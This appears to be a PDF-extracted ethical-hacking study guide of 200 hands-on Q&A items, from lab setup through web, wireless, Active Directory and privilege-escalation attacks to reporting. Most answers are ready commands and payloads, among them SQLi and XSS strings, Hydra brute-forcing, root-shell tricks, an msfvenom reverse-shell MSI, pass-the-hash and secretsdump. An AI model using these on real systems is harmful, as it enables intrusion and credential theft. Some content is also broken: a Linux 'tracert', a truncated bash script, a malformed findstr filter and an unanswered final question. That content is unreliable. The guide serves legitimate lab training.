

200 PRACTICAL / HANDS-ON Questions — Ethical Hacking Roadmap Edition

Written for absolute zero-knowledge
beginners → mapped to your Tier 0–7
roadmap

How to use this file: These are the "show me / do it / what command" questions — the ones where an interviewer (or your own terminal) expects an actual command, a walkthrough of steps, or "what would you type." Have a Kali VM open while you go through these. Type every single command yourself — don't just read it. This is where ₹5k-intern-level people separate from ₹50k+-intern-level people.

TIER 0 — Building Your Lab

(Q1–Q10)

1. What software would you install first to start practicing hacking safely at home? VirtualBox or VMware (free virtualization software) to run virtual machines.

2. Walk through setting up your first practice lab, step by step. Install VirtualBox/VMware → download and install Kali Linux as a VM → download Metasploitable2 as a second, deliberately vulnerable VM → set both VMs' network adapters to the same "Host-Only" or "Internal Network" so they can see each other but stay isolated from your real network.

3. Why would you set your VM's network adapter to "Host-Only" instead of "Bridged" while practicing attacks? Host-Only keeps your attack traffic completely isolated from your real home network/internet, so you can't accidentally scan or attack a real device outside your lab.

4. How would you find the IP address of your Kali VM? Run `ip a` (or `ifconfig`) in the Kali terminal and look for the IP under your active network interface.

5. How would you check if your Kali machine can actually reach your Metasploitable2 VM? `ping <target-IP>` — if you get replies, the two VMs can communicate.

6. What's the very first command you'd run on a fresh Kali install and why? `sudo apt update && sudo apt upgrade -y` — to make sure your tools and package lists are current before you start relying on them.

7. Where would you set up your notes system (Obsidian/Notion/CherryTree) and what's the very first note you should write? Create a folder structure by tier/topic, and your very first note should be

your personal cheat-sheet of legal boundaries and the exact scope of your practice lab — reinforcing the habit from day one.

8. What are the first 3 accounts you should create before starting practice? GitHub (to store your notes/scripts publicly as a portfolio), TryHackMe, and Hack The Box.

9. How would you verify that a TryHackMe/HTB VPN connection is actually working before starting a room/box? Run `ping <target-IP-given-by-the-platform>` — if you get replies, your VPN tunnel to their lab network is active.

10. Practically, how do you "document literally everything from day one," as the roadmap says — give a concrete example format. For every practice box: record the target IP, every command you ran (copy-pasted, not paraphrased), the output/result, and what you learned — even failed attempts, since those show your actual methodology.

TIER 1 — Networking

Commands (Q11–Q30)

11. What command shows you your own IP address on Linux? `ip a` or `ifconfig`

12. What command shows you your own IP address on Windows? `ipconfig`

13. How do you test if a remote host is reachable? `ping <target-IP>`

14. How do you trace the network path (hops) to a target? `tracert <target>` on Linux, `tracert <target>` on Windows.

15. How do you see all active network connections on a Linux machine?

`netstat -tulnp` or the more modern `ss -tulnp`

16. What does the `-t`, `-u`, `-l`, `-n`, `-p` flags mean in `netstat -tulnp`? `-t`

= TCP, `-u` = UDP, `-l` = listening ports only, `-n` = show numeric addresses

(don't resolve hostnames), `-p` = show the process using each port.

17. How would you capture live network traffic from the command line

without a GUI? `tcpdump -i <interface>` (e.g., `tcpdump -i eth0`)

18. How would you capture only HTTP traffic with `tcpdump`? `tcpdump -i`

`eth0 port 80`

19. Walk through opening Wireshark and capturing traffic on your active

interface. Open Wireshark → select the correct network interface from the list

→ click the shark-fin "start capture" icon → generate some traffic (e.g., browse

a site) → click the red square to stop.

20. In Wireshark, how would you filter to see only traffic to/from a specific

IP address? Type `ip.addr == 192.168.1.10` in the display filter bar.

21. In Wireshark, how would you filter to see only HTTP requests? Type

`http.request` in the display filter bar.

22. How would you extract/view a full conversation between two hosts in

Wireshark? Right-click a packet → "Follow" → "TCP Stream" (or HTTP

Stream) to see the reconstructed full exchange.

23. Given a pcap file, how would you look for plaintext login credentials

sent over HTTP? Filter `http.request.method == "POST"`, then right-click

**and "Follow HTTP Stream" on likely login POST requests to read the raw
submitted data.**

24. How would you check which ports are open on your OWN machine

before scanning others? `ss -tulnp` or `netstat -tulnp` locally, or scan

yourself with `nmap localhost`.

- 25. Practically, how would you calculate the usable IP range for the network 192.168.1.0/24?** /24 means a 255.255.255.0 subnet mask, giving 256 total addresses (192.168.1.0–192.168.1.255); usable host addresses are 192.168.1.1 through 192.168.1.254 (network and broadcast addresses excluded).
- 26. How would you find out what DNS record type a domain uses, using the command line?** `dig <domain> A` (or MX, TXT, CNAME by swapping the record type), or simply `nslookup <domain>`.
- 27. How would you look up who owns/registered a domain from the terminal?** `whois <domain>`
- 28. How would you check if a target's SSH service is running and what version it is, using just a basic connection?** `nc <target-IP> 22` (Netcat) — the SSH service will typically reveal its version banner immediately upon connection.
- 29. How would you check DHCP-assigned network info on Windows to confirm your own IP configuration?** `ipconfig /all`
- 30. Practically, how would you demonstrate understanding of NAT using your own home setup?** Show your router's public IP (via a site like whatismyip.com) and compare it to your PC's private IP (via `ipconfig/ip a`) — explain that every device at home shares that one public IP externally, translated by the router.
-

TIER 1 — Linux Command Practice (Q31–Q50)

- 31. How do you list files including hidden ones, with details, in a directory?** `ls -la`

32. How do you find a file by name anywhere on the system? `find / -name "filename" 2>/dev/null`

33. How do you search the contents of files for a specific keyword, recursively? `grep -r "keyword" /path/`

34. How do you view the last 20 lines of a log file and keep watching it live? `tail -f -n 20 /var/log/syslog`

35. How do you change a file's permissions so only the owner can read/write/execute it? `chmod 700 filename`

36. How do you change a file's owner and group? `chown user:group filename`

37. How would you find every SUID binary on a Linux system (a key privesc enumeration step)? `find / -perm -4000 -type f 2>/dev/null`

38. How would you list all currently running processes, sorted by CPU usage? `top` (interactive), or `ps aux --sort=-%cpu` for a static list.

39. How do you kill a stuck process using its process ID? `kill -9 <PID>`

40. How do you check which cron jobs are scheduled system-wide (relevant for privesc hunting)? `cat /etc/crontab` and check `/etc/cron.d/`, plus `crontab -l` for the current user's own jobs.

41. How would you check what groups a user belongs to? `groups <username>` or `id <username>`

42. How do you create a new user and immediately set their password? `sudo useradd newuser` then `sudo passwd newuser`

43. How do you check what version of a package/software is installed?

`dpkg -l | grep <package-name>` on Debian/Kali, or the command's own `--version` flag.

44. Write a 3-line bash script that pings a target and prints whether it's alive.

```
#!/bin/bash
ping -c 1 $1 > /dev/null && echo "$1 is alive" || echo "$1
```

45. How would you check your current sudo privileges without guessing?

`sudo -l` — lists exactly what commands you're allowed to run as another user/root.

46. Given a compromised low-privilege shell, what's the very first enumeration command/tool you'd run? Download and run LinPEAS (`./linpeas.sh`), or start manually with `sudo -l`, `id`, and checking SUID binaries — LinPEAS automates and highlights the same checks.

47. How do you view the contents of `/etc/passwd` and what are you specifically looking for as an attacker? `cat /etc/passwd` — you're looking for usernames, which accounts have valid login shells (vs. system/service accounts), and the presence of a UID 0 (root-equivalent) account other than root itself.

48. How would you transfer LinPEAS from your Kali attacker machine to a compromised target with no direct internet access? Start a simple Python web server on Kali (`python3 -m http.server 8000`) in the folder containing `linpeas.sh`, then on the target run `wget http://<kali-IP>:8000/linpeas.sh` or `curl` to pull it over.

49. How would you check for writable files that root executes on a schedule (a classic privesc path)? Check `/etc/crontab` for scheduled jobs run by root, then check the permissions of each referenced script with `ls -la <script-path>` to see if your current user can write to it.

50. How do you check the Linux kernel version (needed before searching for a matching kernel exploit)? `uname -a` or `uname -r`

TIER 1 — Windows

Command Practice (Q51–Q60)

51. How do you list files and directories in Windows CMD? `dir`

52. How do you check your own IP configuration in detail on Windows?
`ipconfig /all`

53. How do you list all running processes on Windows via CMD?
`tasklist`

54. How do you forcibly kill a process by name on Windows? `taskkill /IM processname.exe /F`

55. How do you see active network connections on Windows? `netstat -ano`

56. How would you find the PowerShell cmdlet to list all running services? `Get-Service`, or discover it by running `Get-Command *service*` if you don't remember the exact name.

57. How do you get help/documentation for any PowerShell cmdlet without leaving the terminal? `Get-Help <cmdlet-name> -Full`

58. Write a simple PowerShell one-liner to list all local user accounts.
`Get-LocalUser`

59. How would you check current user privileges/group membership on Windows via command line? `whoami /groups` or simply `whoami /priv` to see exact privilege tokens.

60. Practically, how would you begin basic Active Directory enumeration from a domain-joined Windows machine, with just built-in tools (no extra software)? `net user /domain` to list domain users, `net group /domain` to list domain groups, and `nltest /dsgetdc:<domain>` to identify the Domain Controller.

TIER 2 — OSINT Hands-On (Q61–Q70)

61. Practically run a WHOIS lookup on a domain — what command and what are you scanning for? `whois example.com` — looking for registrar, registration/expiry dates, and name servers.

62. Write a Google Dork to find PDF files on a specific domain.

`site:example.com filetype:pdf`

63. Write a Google Dork to find login pages on a domain.

`site:example.com inurl:login`

64. How would you use Shodan to find exposed webcams or specific software running publicly? Search directly on `shodan.io` with a query like `webcam` or a specific software banner (e.g., `product:"Apache httpd"`), optionally narrowing by country/organization filters.

65. How would you run subdomain enumeration on a target domain using Sublist3r? `sublist3r -d example.com`

66. How would you use Amass for subdomain enumeration instead?

`amass enum -d example.com`

67. How would you check the Wayback Machine for historical versions/endpoints of a target site, practically? Visit `web.archive.org`, search the domain, and browse archived snapshots by date; or use a tool like `waybackurls example.com` to pull a full list of historically archived URLs at once.

68. How would you practically check if a subdomain is vulnerable to takeover? Check its DNS CNAME record (`dig subdomain.example.com CNAME`) — if it points to a cloud service (like an S3 bucket or GitHub Pages URL) that returns a "not found/not claimed" error when visited, it's a strong takeover candidate.

69. How would you combine subdomain enumeration with live host checking to only keep subdomains that are actually online? Pipe your subdomain list into a tool like `httpx` (e.g., `cat subdomains.txt | httpx`) to filter down to only responsive, live hosts.

70. Practically, how would you organize your OSINT findings before moving to active scanning? Create a structured notes file per target listing: subdomains found, technologies identified, employee names/emails found, and any exposed files/data — this becomes your attack-surface map.

TIER 2 — Scanning & Enumeration Hands-On (Q71–Q85)

71. Write the Nmap command to scan the top 1000 common ports on a target. `nmap <target-IP>`

72. Write the Nmap command to scan ALL 65535 ports on a target. `nmap -p- <target-IP>`

73. Write the Nmap command for a stealthy SYN scan. `nmap -sS <target-IP>`

74. Write the Nmap command for a UDP scan. `nmap -sU <target-IP>`

75. Write the Nmap command that detects service versions running on open ports. `nmap -sV <target-IP>`

76. Write the Nmap command that attempts OS fingerprinting. `nmap -O <target-IP>`

77. Write the Nmap command that combines OS detection, version detection, script scanning, and traceroute in one go. `nmap -A <target-IP>`

78. Write the Nmap command to run default vulnerability-detection scripts against a target. `nmap -sC -sV <target-IP>` (or `--script vuln` for a dedicated vulnerability script category)

79. How would you scan multiple targets from a list of IPs saved in a file?
`nmap -iL targets.txt`

80. How would you save Nmap results in a format you can grep through later? `nmap -oA scan_results <target-IP>` (saves in normal, XML, and greppable formats at once)

81. Practically, how would you enumerate SMB shares on a target with enum4linux? `enum4linux -a <target-IP>`

82. How would you manually connect to and list SMB shares using smbclient? `smbclient -L //<target-IP>/ -N` (the `-N` attempts a null/anonymous session)

83. Write the Gobuster command to brute-force hidden directories on a web target. `gobuster dir -u http://<target-IP> -w /usr/share/wordlists/dirb/common.txt`

84. How would you run a basic Nikto scan against a web server? `nikto -h http://<target-IP>`

85. Practically walk through your full recon-to-enumeration process on a brand-new target IP, step by step.

1. `nmap -sV -p- <IP>` to find all open ports/services, 2) research each unusual service version for known vulnerabilities, 3) if web ports are open, run `gobuster/nikto` against them, 4) if SMB is open, run `enum4linux -a`, 5) document every finding in your notes before touching exploitation.
-

TIER 2 — Applying MITRE ATT&CK (Q86–Q90)

86. Practically, how would you tag a technique you just performed (e.g., Kerberoasting) with its correct MITRE ID in your notes? Look it up on the official MITRE ATT&CK website (attack.mitre.org), find the matching technique, and write it directly into your report/notes as "Kerberoasting (T1558.003)."

87. If you just used `sqlmap` to extract a database, what MITRE ATT&CK tactic category would that generally fall under? Collection or Exfiltration, depending on whether you're pulling the data out or just accessing/viewing it at that stage.

88. If you just used a phishing email to get initial access, what MITRE tactic does that map to? Initial Access.

89. If you're using LinPEAS/WinPEAS to look for privesc paths, what tactic does that map to? Discovery (finding the information), leading into Privilege Escalation once you act on it.

90. Practically, how would you start building your own personal MITRE ATT&CK reference sheet as you learn? Keep a running spreadsheet/note with three columns — Technique Name, Technique ID, and the tool/command you personally used to perform it — updating it every time you learn something new.

TIER 3 — Metasploit Practical (Q91–Q100)

91. How do you launch the Metasploit console? `msfconsole`

92. Write the Metasploit command to search for exploits related to "vsftpd." `search vsftpd`

93. Once you find a module, write the command to select it. `use exploit/unix/ftp/vsftpd_234_backdoor` (example — use the actual module path found via search)

94. How do you see what options a selected Metasploit module requires? `show options` (or `options`)

95. Write the command to set the target IP (RHOSTS) in Metasploit. `set RHOSTS <target-IP>`

96. How do you set a payload for a selected exploit module? `set payload <payload-path>` (e.g., `set payload linux/x86/meterpreter/reverse_tcp`)

97. How do you launch the configured exploit? `exploit` (or `run`)

98. Once you have a Meterpreter session, how do you list all active sessions? `sessions -l` from the main msfconsole (or `sessions -i <ID>` to interact with a specific one)

99. Inside a Meterpreter session, how would you get a full system shell?
`shell`

100. Practically, how would you search ExploitDB offline for a known FTP server exploit using searchsploit? `searchsploit vsftpd` — then use `searchsploit -m <path>` to copy the found exploit code locally for review/use.

TIER 3 — Web App Hacking Practical (Q101–Q120)

101. Walk through configuring your browser to route traffic through Burp Suite. Open Burp Suite → note the default proxy listener (127.0.0.1:8080) → in your browser's network/proxy settings, set HTTP/HTTPS proxy to 127.0.0.1:8080 → in Burp, go to the Proxy tab and turn "Intercept" on to start capturing requests.

102. How do you install Burp's CA certificate so you can intercept HTTPS traffic without browser errors? With the proxy configured, visit `http://burpsuite` (or `http://burp`) in the browser, download the CA certificate, then import/trust it in your browser's certificate settings.

103. In Burp Suite, how would you send a captured request to Repeater to test it manually? Right-click the intercepted request in the Proxy tab → "Send to Repeater" → go to the Repeater tab and click "Send" to resend it (edited or not) and view the response.

104. In Burp Suite, how would you set up an Intruder attack to brute-force a login form? Send the login request to Intruder → highlight the username/password fields as payload positions → choose attack type (Sniper for one field, Cluster Bomb for both) → load a wordlist as the payload → click Start Attack.

105. Write a basic SQL injection test payload to try in a login form's username field. `' OR '1'='1' --`

106. Write a payload to test if a search field on a website is vulnerable to reflected XSS. `<script>alert(1)</script>`

107. How would you run sqlmap against a URL with a suspected vulnerable parameter? `sqlmap -u "http://target.com/page.php?id=1" --dbs` (the `--dbs` flag lists available databases once injection is confirmed)

108. How would you use sqlmap to dump all tables from a specific database once you've confirmed injection? `sqlmap -u "http://target.com/page.php?id=1" -D <database_name> --tables`, then `--dump` on a specific table to extract its contents.

109. Practically, how would you test for Local File Inclusion (LFI) on a suspicious parameter like `?page=`? Try `?page=../../../../etc/passwd` and check if the response reveals the contents of that system file.

110. How would you test a file upload field for a file upload vulnerability? Try uploading a file with a web-shell extension disguised with a double extension or manipulated Content-Type (e.g., `shell.php.jpg` or intercepting the upload in Burp and changing the Content-Type header), then check if it executes when accessed directly.

111. Practically, how would you test if an application is vulnerable to command injection? Try appending a command-chaining payload like `;` `whoami` or `| whoami` to an input field that appears to interact with the system, and check if the output of that command appears in the response.

112. How would you manually test for IDOR on an endpoint like `/api/user/1005/profile`? Log in as your own account, note your own ID, then try changing just the ID number in the URL/request to a different value and check if you can view another user's data without authorization.

113. Practically, how would you demonstrate a CSRF vulnerability using a simple HTML proof of concept? Build a small HTML page with an auto-submitting form pointing to the vulnerable action's endpoint (e.g., a fund transfer), then have an already-logged-in victim visit that page and show the action executes without their knowledge.

114. How would you test for SSRF on a parameter that accepts a URL (e.g., an image-fetch feature)? Submit an internal/local address as the URL value (e.g., `http://127.0.0.1` or the cloud metadata address `http://169.254.169.254/`) and see if the server's response reveals it actually fetched that internal resource.

115. Practically, how would you check response headers for missing security headers using Burp or curl? `curl -I https://target.com` and inspect the returned headers, checking specifically for the presence/absence of Content-Security-Policy, X-Frame-Options, and Strict-Transport-Security.

116. How would you use Burp's "Comparer" feature and when would it be useful? Send two similar responses (e.g., a valid login vs. invalid login attempt) to Comparer to highlight the exact differences between them — useful for spotting subtle clues like a "user exists" vs "wrong password" distinction.

117. Practically, how would you identify what backend technology (PHP, Node, etc.) a website is running, using Burp or curl? Check response headers (`curl -I <url>`) for a Server or X-Powered-By header, and note file extensions in URLs (`.php`, `.aspx`, `.jsp`) as further clues.

118. How would you use Burp Suite's "Decoder" tool, and give a practical example. Decoder converts data between formats (Base64, URL-encoding, hex); example: pasting a Base64-looking cookie value into Decoder and clicking "Decode as Base64" to reveal its actual readable content.

119. Practically, how would you confirm blind (boolean-based) SQL injection when there's no visible error or data returned? Send two requests with conditions that should evaluate to TRUE and FALSE respectively (e.g., `id=1 AND 1=1` vs `id=1 AND 1=2`) and compare the page responses — a difference in behavior confirms the injection point.

120. Walk through your full manual web app testing checklist for a brand-new target, step by step.

1. Map the app manually while browsing through Burp's proxy, 2) run Gobuster/Nikto for hidden content, 3) test every input field for SQLi and XSS, 4) test every ID/object reference for IDOR, 5) check for CSRF tokens on state-changing actions, 6) review response headers for missing security controls, 7) document everything with screenshots as you go.
-

TIER 3 — API Security

Practical (Q121–Q126)

121. How would you use Postman to manually test an API endpoint?

Create a new request in Postman, set the method (GET/POST/etc.), enter the endpoint URL, add any required headers/authentication tokens and body data, then click Send and inspect the response.

122. How would you use Kiterunner to discover hidden API endpoints? `kr`

`scan http://target.com -w <routes-wordlist>` — it brute-forces likely API paths using a specialized wordlist built for API route structures.

123. Practically, how would you test for BOLA on an API endpoint like `/api/orders/4471`? While authenticated as your own low-privilege account, change the ID (4471) to a different number belonging to another user and check whether the API returns their data without proper authorization checks.

124. How would you decode a JWT token to inspect its contents, without any special tool, using just a website or command? Paste the token into jwt.io (or manually Base64-decode the header and payload sections, which are separated by periods) to view the readable JSON inside.

125. How would you use `jwt_tool` to test a JWT for the `alg:none` vulnerability? `jwt_tool <token> -X a` — this specifically attempts the algorithm-confusion/none-algorithm attack against the provided token.

126. Practically, how would you test an API for missing rate limiting? Send the same request (like a login attempt) rapidly many times in a row (manually via Burp Intruder or a simple script) and observe whether the API ever blocks, delays, or throttles you.

TIER 3 — Password Attacks Practical (Q127–Q134)

127. Write the Hydra command to brute-force SSH login with a given username and a wordlist of passwords. `hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://<target-IP>`

128. Write the Hydra command to brute-force an FTP login instead. `hydra -l admin -P rockyou.txt ftp://<target-IP>`

129. How would you identify what type of hash you've been given, practically? Use `hashid <hash>` or `hash-identifier` to analyze the format/length and suggest likely algorithms.

130. Write the Hashcat command to crack an MD5 hash using rockyou.txt.

`hashcat -m 0 -a 0 hash.txt rockyou.txt` (mode 0 = MD5, attack mode 0 = straight dictionary attack)

131. Write the John the Ripper command to crack a password hash file using the default wordlist. `john --`

`wordlist=/usr/share/wordlists/rockyou.txt hash.txt`

132. How would you check the cracked passwords once John the Ripper finishes? `john --show hash.txt`

133. How would you use CeWL to generate a custom wordlist scraped from a target's own website? `cewl http://target.com -w`

`custom_wordlist.txt`

134. Practically, how would you crack a ZIP file's password if you suspect it's weak? Extract a crackable hash from it using `zip2john protected.zip` > `ziphash.txt`, then run `john ziphash.txt` against it.

TIER 3 — Wireless Attacks

Practical (Q135–Q140)

135. How would you put your wireless adapter into monitor mode using airmon-ng? `airmon-ng start wlan0`

136. How would you scan for nearby Wi-Fi networks and their connected clients using airodump-ng? `airodump-ng wlan0mon`

137. How would you capture the WPA2 4-way handshake for a specific target network? `airodump-ng -c <channel> --bssid <target-BSSID> -w capture wlan0mon`, then wait for or force a client to reconnect.

138. How would you force a device to disconnect (and reconnect) to capture a fresh handshake, using `aireplay-ng`? `aireplay-ng --deauth 5 -a <target-BSSID> wlan0mon`

139. How would you crack a captured WPA2 handshake using a wordlist with `aircrack-ng`? `aircrack-ng capture.cap -w rockyou.txt`

140. How would you use `wifite` to automate the entire capture-and-crack process instead of doing it manually? `wifite` — it automatically detects targets, captures handshakes, and attempts cracking with minimal manual steps, ideal for practicing the concept quickly before doing it manually.

TIER 4 — Linux Privesc Practical (Q141–Q148)

141. Practically, how would you run LinPEAS on a target and save the output for review? `./linpeas.sh | tee linpeas_output.txt`

142. If `sudo -l` shows you can run `find` as root with no password, how would you actually escalate privileges using GTFOBins knowledge? `sudo find . -exec /bin/sh \; -quit` — this abuses `find`'s `-exec` flag to spawn a root shell.

143. If you find a SUID binary that's an unusual/custom program, how would you check GTFOBins for a matching abuse technique? Search "GTFOBins" or visit gtfobins.github.io directly and look up that specific binary to see documented escalation techniques for it.

144. If a cron job runs a script writable by your user, how would you practically escalate? Edit that script to add a command like `chmod u+s /bin/bash` (or a reverse shell payload), save it, then wait for the cron job to trigger and run it with root privileges.

145. How would you check for password reuse by finding readable config files that might contain plaintext credentials? `grep -r "password" /var/www/ /etc/ 2>/dev/null` — searching common locations for hardcoded credentials.

146. How would you check what capabilities (not just SUID) are set on binaries, which is another privesc vector? `getcap -r / 2>/dev/null`

147. Practically, once you've escalated to root, how do you confirm it and grab proof for your report? Run `id` (should show `uid=0 (root)`) and take a screenshot, then typically read a designated "proof" flag file as required by the specific lab/box.

148. How would you check for writable `/etc/passwd` (a rare but real privesc path) and exploit it if found? `ls -la /etc/passwd` to check write permissions; if writable, append a new root-equivalent user line with a known password hash (generated via `openssl passwd`) directly into the file, then `su` to that new user.

TIER 4 — Windows Privesc Practical (Q149–Q154)

149. Practically, how would you run WinPEAS on a compromised Windows target? Transfer `winPEAS.exe` (or the `.bat` version) to the target and run it directly, or run it in memory via PowerShell `download-and-execute` if file transfer is restricted.

150. How would you check for unquoted service paths on Windows using `wmic`? `wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v ""`

151. How would you check what permissions your current user has on a specific Windows service? Using accesschk.exe (Sysinternals):

```
accesschk.exe -uwcqv "username" servicename
```

152. Practically, how would you search the Windows registry for stored/saved credentials? `reg query`

```
"HKLM\SOFTWARE\Microsoft\Windows
```

```
NT\CurrentVersion\Winlogon" — checking specifically for values like  
DefaultPassword.
```

153. How would you check for AlwaysInstallElevated misconfiguration on a target using the registry? `reg query`

```
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer and reg  
query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer,  
checking if AlwaysInstallElevated is set to 1 in both.
```

154. If AlwaysInstallElevated is confirmed, how would you practically exploit it using Metasploit? Generate a malicious MSI payload with

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your-IP>  
LPORT=<port> -f msi -o exploit.msi, transfer it to the target, and run  
msiexec /quiet /qn /i exploit.msi to trigger it with elevated  
privileges.
```

TIER 4 — Active Directory Practical (Q155–Q162)

155. Practically, how would you run SharpHound to collect AD data for BloodHound analysis? From a domain-joined machine (or with valid domain credentials), run `SharpHound.exe -c All` to collect all available collection methods, which produces a zip file to import into BloodHound.

156. How would you import SharpHound's output into BloodHound and find a path to Domain Admin? Open BloodHound → drag/upload the SharpHound zip file → use the built-in pre-made queries (like "Shortest Paths to Domain Admins") to visually see the attack path.

157. Write the command to perform Kerberoasting using Impacket's GetUserSPNs. `GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> -request`

158. How would you crack the Kerberoasted hash you just extracted using Hashcat? `hashcat -m 13100 -a 0 hash.txt rockyou.txt`
(mode 13100 is specifically for Kerberos TGS-REP hashes)

159. Write the command to attempt AS-REP Roasting using Impacket's GetNPUsers. `GetNPUsers.py <domain>/ -usersfile users.txt -format hashcat -dc-ip <DC-IP>`

160. Practically, how would you perform a Pass-the-Hash attack using Impacket's psexec.py? `psexec.py -hashes <LM-hash>:<NTLM-hash> <domain>/<username>@<target-IP>`

161. How would you use CrackMapExec to test a set of credentials against every machine on a subnet at once? `crackmapexec smb 192.168.1.0/24 -u username -p password`

162. Practically, how would you use secretsdump.py to extract password hashes from a Domain Controller you've fully compromised? `secretsdump.py <domain>/<username>:<password>@<DC-IP>`

TIER 4 — C2 & OPSEC

Practical (Q163–Q166)

163. In a lab environment, how would you set up a basic listener in a C2 framework like Sliver (conceptually, the steps)? Start the Sliver server → generate an implant/beacon configured with your listener's address → start a matching listener session on the server → deploy the implant to a lab target and confirm it checks in.

164. Practically, how would you check what a beacon's check-in traffic pattern looks like in a packet capture, from the defender's side? Filter Wireshark/Zeek logs for regular, repeated outbound connections to the same external IP/domain at suspiciously consistent (or jittered but patterned) intervals — a hallmark of beaconing behavior.

165. Practically, how would you check what Windows Event ID gets generated by a suspicious new process execution, to understand your OPSEC footprint? Check Event ID 4688 (process creation) in Windows Event Viewer's Security log — this is exactly the kind of entry your commands would generate on a monitored target.

166. How would you practically test/simulate DNS tunneling in your own lab (concept demonstration)? Use a tool like `iodine` or `dnscat2` to set up a DNS tunnel between two of your own lab machines, then observe the resulting DNS query traffic in Wireshark to see what real tunneling traffic looks like.

TIER 5 — Mobile, Cloud, DevSecOps, Binary Exploitation Practical (Q167–Q183)

167. How would you run MobSF to automatically scan an APK file? Start MobSF (often via Docker: `docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf`), then upload the APK through its web interface for automated static/dynamic analysis.

168. How would you decompile an APK into readable source code using jadx? `jadx -d output_folder app.apk`

169. Practically, how would you intercept a mobile app's traffic using Burp Suite and a rooted emulator? Configure the emulator's Wi-Fi proxy settings to point to your Burp Suite's IP and port, install Burp's CA certificate onto the emulator (often requiring it be pushed to the system certificate store on rooted devices), then browse the app while Burp intercepts.

170. How would you use Frida to bypass a simple root-detection check in an app? Write or find a Frida script that hooks the app's root-detection function and forces it to always return "false," then run it with `frida -U -f com.target.app -l bypass-script.js`.

171. How would you run ScoutSuite against your own AWS lab account to check for misconfigurations? `scout aws` (after configuring your AWS credentials locally) — it produces an HTML report highlighting misconfigurations across your account.

172. How would you use Prowler to run a security audit against an AWS account? `prowler aws`

173. Practically, how would you test cloud metadata service abuse via SSRF in a lab EC2 instance? From a vulnerable app running on the EC2 instance, send a request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to see if temporary IAM credentials are exposed through the SSRF point.

174. How would you run kube-hunter against your own lab Kubernetes cluster? `kube-hunter --remote <cluster-IP>`

175. How would you run kube-bench to audit your cluster against CIS benchmarks? `kube-bench` (run directly on a cluster node, or as a Kubernetes Job within the cluster)

176. Practically, how would you check a Kubernetes cluster for an exposed, unauthenticated kubelet API? `curl -k https://<node-IP>:10250/pods` — if this returns pod data without requiring authentication, the kubelet API is exposed.

177. How would you run TruffleHog against a Git repository to find leaked secrets in its commit history? `trufflehog git https://github.com/target/repo.git`

178. How would you run gitleaks against a local repository? `gitleaks detect --source /path/to/repo`

179. Practically, how would you demonstrate a dependency confusion concept in a safe, controlled way? In your own private test package registry setup, publish a package with a name matching a private company package but with a much higher version number, then show that a naive install pulls your public version instead — never do this against real infrastructure you don't control.

180. How would you run Semgrep against a codebase for a basic static analysis scan? `semgrep --config=auto /path/to/code`

181. Practically, how would you set up gdb to begin analyzing a simple crashing binary? `gdb ./vulnerable_program`, then use commands like `run`, `break main`, and `info registers` to step through execution and inspect memory/registers at the crash point.

182. How would you use binwalk to extract the contents of a firmware image file? `binwalk -e firmware.bin`

183. How would you run a basic fuzzing session against a simple local program using AFL++? `afl-fuzz -i input_dir -o output_dir -- ./target_program @@` (the @@ tells AFL++ where to insert its generated test

input)

TIER 6 — Scripting, Reporting, Blue Team, Forensics Practical (Q184– Q200)

184. Write a simple Python script that scans a single target for a list of common ports.

```
import socket
target = "192.168.1.10"
for port in [21, 22, 80, 443, 3389]:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    if s.connect_ex((target, port)) == 0:
        print(f"Port {port} is open")
    s.close()
```

185. Write a bash one-liner that runs an Nmap scan and extracts only the open ports from the output. `nmap <target> | grep "open"`

186. How would you use Python's `requests` library to send a basic GET request and check a web app's response headers?

```
import requests
r = requests.get("http://target.com")
print(r.headers)
```

187. Write a basic Python script skeleton for parsing JSON returned from an API you're testing.

```
import requests, json
r = requests.get("http://target.com/api/data")
data = r.json()
print(json.dumps(data, indent=2))
```

188. Practically, how would you write a simple PowerShell script to enumerate all local Administrators on a Windows box? Get-

```
LocalGroupMember -Group "Administrators"
```

189. Walk through the basic Git workflow for committing and pushing your practice notes to GitHub. git init (first time) → git add . → git

```
commit -m "Added notes on SQLi practice" → git push origin
main
```

190. Practically, what should the structure of a professional pentest report look like, section by section? Executive Summary (business-language overview) → Scope & Methodology → Findings (each with severity rating, description, evidence/screenshots, and remediation steps) → Overall Risk Summary → Appendix (raw scan output/technical details).

191. How would you practically use a threat-modeling framework (like DREAD) to assign a severity rating in a report? Score each finding 1–10 across Damage, Reproducibility, Exploitability, Affected users, and Discoverability, then average or weight those scores to produce a defensible, consistent overall severity rating instead of a gut-feeling label.

192. Practically, what should you always capture as evidence before moving on from a confirmed vulnerability? A clear screenshot showing the exact request/payload used and the resulting proof (e.g., extracted data, a shell prompt, an alert box firing), along with the exact command/steps needed to reproduce it.

193. How would you write a basic Splunk SPL query to find all failed login attempts in Windows logs? index=* EventCode=4625 | table

```
_time, host, user
```

194. How would you write a Splunk SPL query to find all successful logons for comparison? `index=* EventCode=4624 | table _time, host, user`

195. Practically, how would you use Suricata or Zeek to detect basic malicious traffic patterns in a lab? Run Suricata against a pcap file with `suricata -r capture.pcap -k none -l output/` and review `output/eve.json` for triggered alerts based on its ruleset.

196. How would you practically set up a basic purple-team exercise between two people using your own home lab? One person (red) runs a known attack technique (e.g., Kerberoasting) against the lab AD environment while the other (blue) simultaneously watches the SIEM/logs in real time to confirm whether and how it was detected, then you swap roles.

197. Practically, how would you check Windows auth logs for signs of a brute-force attack? Filter Event Viewer's Security log for Event ID 4625 (failed logon) and look for many repeated failures from the same source IP in a short time window.

198. How would you safely analyze a suspicious file's behavior using Any.run without infecting your own machine? Upload the file to any.run's web-based sandbox, which detonates it in an isolated cloud VM and shows you its live behavior (network calls, file changes, registry edits) without ever touching your real system.

199. Practically, how would you begin a basic log analysis investigation on a Linux web server after a suspected compromise? Check `/var/log/auth.log` for unusual SSH logins, and the web server's access log (e.g., `/var/log/apache2/access.log`) for suspicious request patterns (repeated 404s indicating directory brute-forcing, or SQLi-looking payloads in the URL).

200. Putting it all together: walk through, end to end, exactly what you would do if handed a single unknown IP address in an authorized test, from the very first command to your final report.

